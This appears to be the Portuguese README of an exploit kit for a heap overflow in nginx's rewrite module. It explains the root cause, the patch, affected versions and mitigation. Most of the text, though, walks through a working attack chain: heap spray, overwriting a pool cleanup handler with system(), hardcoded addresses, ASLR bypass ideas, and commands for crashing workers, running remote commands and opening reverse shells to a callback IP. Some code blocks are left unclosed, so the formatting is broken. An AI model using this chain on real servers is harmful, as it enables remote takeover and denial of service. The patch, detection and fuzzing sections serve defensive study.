location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

**Key requirements:**
- Uma diretiva `rewrite` cuja substituição contenha `?` (separador de string de consulta)
- Uma diretiva `set`, `if` ou `rewrite` subsequente que referencie uma **captura PCRE sem nome** (`$1`, `$2`, etc.)
- O `?` na substituição do rewrite aciona `ngx_http_script_start_args_code` que define `e->is_args = 1`

### O que um atacante pode alcançar

| Capacidade | Descrição |
|-----------|-------------|
| **Negação de Serviço** | Quebrar processos workers de forma determinística, causando loops de reinicialização (funciona independentemente de ASLR) |
| **Execução Remota de Código** | Com ASLR desativado (ou contornado via sobrescrita parcial), obter RCE total como o usuário do nginx |
| **Exfiltração de Dados** | Através de primitivas de leitura de memória, extrair dados sensíveis do heap do worker |
| **Persistência** | Instalar backdoors via execução de código na memória do processo worker |

---

## 2. Análise da Causa Raiz

### O Mecanismo de Script de Duas Passagens

O `ngx_http_rewrite_module` do NGINX usa um **mecanismo de script de duas passagens** em `src/http/ngx_http_script.c`:

1. **Passagem de Comprimento** (`ngx_http_script_run`): itera todos os códigos de script para calcular o tamanho total do buffer necessário. Escreve comprimentos em `le.ip` e `le.pos`.
2. **Passagem de Cópia** (`ngx_http_script_copy_len`/`_code`): itera novamente, escrevendo bytes reais no buffer pré-alocado em `e->ip` e `e->pos`.

Cada código de script possui dois manipuladores: um para cada passagem. Por exemplo:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`

### A Flag `is_args`

A flag `e->is_args` na **estrutura do motor** (`ngx_http_script_engine_t`) controla como a passagem de cópia lida com certos caracteres:```c
typedef struct {
    u_char                  *ip;
    u_char                  *pos;
    ngx_http_variable_value_t *sp;
    ngx_str_t               buf;
    int                     flushed;
    unsigned                is_args:1;    // <-- THE BUG
    unsigned                ncaptures:1;
    ngx_uint_t              captures_size;
    // ...
} ngx_http_script_engine_t;

1. Durante a **avaliação da reescrita**, o mecanismo encontra `?` na string de substituição, o que dispara `ngx_http_script_start_args_code`, definindo `e->is_args = 1`.
2. A reescrita modifica o URI da requisição e então continua para a próxima diretiva.
3. **`e->is_args` NUNCA É LIMPO**.

Então:```
set $original_endpoint $1;

A taxa de expansão é `7 + (n_escapable * 2)` onde `n_escapable` é a contagem de `+`, `%` e `&` na captura.

---

## 3. Mecânicas de Exploração

### Visão Geral

| Passo | Técnica | Descrição |
|------|-----------|-------------|
| 1 | Overflow | Enviar URI maliciosa com preenchimento de `+` para estourar o buffer da heap |
| 2 | Heap Spray | Fazer POST de corpos grandes para `/spray` para preencher a heap com dados controlados |
| 3 | Feng Shui | Organizar alocações para que o alvo do estouro (`ngx_pool_cleanup_t`) fique adjacente |
| 4 | Corrupt Handler | O estouro sobrescreve `ngx_pool_cleanup_t.handler` com o endereço de `system()` |
| 5 | Trigger Cleanup | Aguardar a destruição do pool → `system(cmd)` executa o comando do atacante |
| 6 | Reverse Shell | Encadear com payload de reverse shell para acesso interativo |

### Feng Shui Entre Requisições

**Feng Shui de requisição única falha** porque o estouro corrompe os metadados do pool (`->d.next`, `->d.failed`) antes de alcançar o ponteiro `cleanup`. Quando o pool é destruído ao final da requisição, os metadados corrompidos causam uma **quebra antes que `system()` seja chamada**.

Em vez disso, o exploit usa **Feng Shui entre requisições**:
1. **Requisição 1 (spray)**: Fazer POST de um corpo grande para `/spray`. O backend (`server.py`) mantém a resposta com o cabeçalho `X-Delay`, mantendo a conexão aberta e preservando a alocação na heap. O spray preenche a heap com blocos `ngx_pool_cleanup_t` falsos.
2. **Requisição 2 (overflow)**: Enviar a URI de estouro. O estouro corrompe apenas o ponteiro `cleanup` (não os metadados do pool), apontando-o para o bloco falso aspergido.
3. **Destruição do pool**: Quando a resposta do spray é concluída (o atraso expira), a cadeia de cleanup do pool percorre até o bloco falso e chama `system(cmd)`.

### Requisitos de Endereço

| Símbolo | Valor (Docker, ASLR desligado) | Descrição |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | Base do heap do nginx |
| `system@libc` | `0x7ffff6f6e420` | `system()` na glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | Ponteiro para o pool de ciclos |
| Endereço falso de cleanup | `0x5555556a4030` | Endereço alvo do spray |

### Bypass de ASLR

Sem desabilitar o ASLR, o **DoS** (quebra) ainda funciona deterministicamente. Para RCE com ASLR habilitado, duas abordagens:

1. **Sobrescrita parcial**: Usar sobrescrita de 1 ou 2 bytes para deslocar um ponteiro dentro da mesma página, bruteforçando os nibbles restantes (16–256 tentativas).
2. **Vazamento de informação**: Ler `/proc/self/maps` ou usar a análise de memória do `log_parser.py` para determinar o layout.

---

## 4. Análise da Correção

### A Correção Oficial

**Commit**: `524977e7c534e87e5b55739fa74601c9f1102686`  
**Arquivo**: `src/http/ngx_http_script.c`  
**Linha**: ~1205 (em `ngx_http_script_regex_end_code`)```diff
 void
 ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
 {
     ngx_http_script_regex_code_t *code;

     code = (ngx_http_script_regex_code_t *) e->ip;

+    e->is_args = 0;    /* ← THE FIX */

     e->ip += sizeof(ngx_http_script_regex_code_t);
     // ...
 }

### Patches de Backport

| Patch | Versões do Nginx |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |

---

## 5. Versões Afetadas

### NGINX Open Source

| Faixa | Status |
|-------|--------|
| **0.1.0 – 0.6.26** | Não afetado (módulo rewrite é anterior a capturas sem nome) |
| **0.6.27 – 1.30.0** | **Vulnerável** (janela de 18 anos) |
| **1.30.1** | Primeira versão corrigida |
| **1.31.0+** | Corrigido (mainline) |

### NGINX Plus

| Versão | Afetado | Corrigido |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |

### NGINX Ecosystem

| Produto | Afetado | Status |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | Aviso pendente |
| F5 NGINX WAF | 5.9.0–5.12.1 | Aviso pendente |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | Aviso pendente |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | Aviso pendente |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | Aviso pendente |
| NGINX Agent | 2.0.0–2.35.0 | Aviso pendente |

---

## 6. Detecção

### Verificação de Versão```bash
bash detection/detect_vuln.sh

### Escaneamento de Contêiner```bash
python3 detection/container_scan.py

## 7. Mitigação

### Imediata (Sem Alteração de Código)

Substitua **capturas sem nome** por **capturas nomeadas** em todas as diretivas `rewrite`:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;

# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;

Aplica estas medidas de endurecimento:
- Verificação e ativação forçada de ASLR
- Isolamento de processos de trabalho
- Restrição de core dump
- Fortalecimento de SSL/TLS
- Limitação de taxa
- Cabeçalhos CSP

### Verificação de ASLR```bash
bash detection/check_aslr.sh

## 9. Início Rápido```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up

# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}

# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓

# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓

# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned

# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf

O ambiente Docker:
- Compila o NGINX a partir do commit `98fc3bb78` (último commit vulnerável antes da correção)
- Inclui GDB, valgrind, `util-linux` (para `setarch -R` desabilitar ASLR)
- Expõe as portas **19321** (nginx vulnerável), **19322** (secundária), **19323** (back-end Python)
- O entrypoint usa `setarch x86_64 -R` para desabilitar ASLR para um layout de endereço determinístico de exploit
- Concede a capacidade `SYS_PTRACE` e `seccomp=unconfined` para depuração

### Apenas Vulnerável```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
#   -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/

### ASAN Contentor```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/

---

## 11. Disparar o Estouro

### Falha Básica (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969

Os caracteres `+` na captura `$1` são expandidos 3× durante a passagem de cópia enquanto o buffer foi dimensionado para o comprimento bruto, transbordando o heap.

### Expected Output```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned

Calcula o número mínimo de sinais `+` necessários para causar overflow em um número de bytes alvo (útil ao explorar estruturas específicas de heap).

### Character Expansion```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969

### Uso Básico```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

### Opções Avançadas

| Flag | Default | Descrição |
|------|---------|-------------|
| `--host` | `127.0.0.1` | Host alvo |
| `--port` | `19321` | Porta alvo |
| `--cmd` | — | Comando a executar (obrigatório a menos que `--shell`) |
| `--shell` | — | Usar modo de shell interativo |
| `--tries` | `3` | Número de tentativas de exploração |
| `--delay` | `2.0` | Atraso entre spray e overflow (segundos) |
| `--payload` | — | Caminho para arquivo de payload personalizado |
| `--debug` | — | Ativar saída de depuração detalhada |

### Análise de Layout da Heap```bash
python3 exploit/heap_layout.py

Encontra endereços de heap cujos bytes não incluem caracteres escapáveis (`+`, `%`, `&`, `?`, etc.) para uso na construção de payloads de exploit.

---

## 13. Verificação de Shell Reversa

### Arquitetura```
shell_manager.py
  │
  ├── shell_payloads.py    → Generate payload strings for 10 shell types
  ├── shell_listener.py    → Start TCP listener (interactive + verify mode)
  ├── exploit/exploit.py   → Send exploit with payload to target
  └── shell_verify.py      → Wait for connection, run commands, verify output

### Verificação Automatizada```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
    --shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"

# Full pipeline across all shell types
bash shell/shell_test_runner.sh

# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
    --shell-type python --listen-port 1337 --callback-ip 172.17.0.1

---

## 14. Correção

### Aplicar a Correção```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch

# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch

### Aplicar Backport```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch

---

## 15. Testes

### Testes Unitários```bash
# Via Makefile
make test

# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v

Executa:
1. Testes unitários (pytest ou unittest)
2. Teste de trigger/overflow (se o servidor estiver em execução)
3. Scanner de configuração contra configurações vulneráveis e seguras
4. Validação de dry-run de patch

### Matriz de Regressão```bash
bash tools/regression_matrix.sh

Testa todos os padrões de configuração (básico, avançado, ingress, gateway) com acionadores de overflow.

---

## 16. Fuzzing

### libFuzzer Harness

O fuzzer (`fuzz/ngx_http_script_fuzz.c`) simula o mecanismo de script de duas passadas:
1. Analisa a entrada como uma sequência de códigos de script
2. Executa a passagem de comprimento
3. Executa a passagem de cópia com `e->is_args = 1`
4. Detecta estouro de buffer via ASAN ou incompatibilidade de tamanho```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/

Lanches AFL++ com ASAN, timeout configurável e limites de memória contra o harness de fuzzing.

### Corpus de Sementes

O diretório `fuzz/corpus/` contém entradas de sementes que reproduzem o padrão vulnerável, incluindo:
- Gatilho de overflow básico
- Captura nomeada (não deve causar overflow)
- Casos extremos (captura vazia, tamanho máximo, etc.)

---

## 17. Pipeline de CI

### GitHub Actions

O projeto usa um **único workflow de CI do GitHub Actions** (`.github/workflows/ci.yml`) com estes jobs:

| Job | O que faz |
|-----|-------------|
| `lint` | ShellCheck, validação de sintaxe Python |
| `scan-configs` | Executa config_scanner.py contra todas as amostras de configuração |
| `fuzz-build` | Compila o harness libFuzzer |
| `test` | Executa a suíte pytest/unittest |
| `detect-patch` | Verifica o formato do patch e o conteúdo da correção |
| `verify-project` | Executa `tools/verify_project.sh` |

### Pipeline Completo```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh

# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker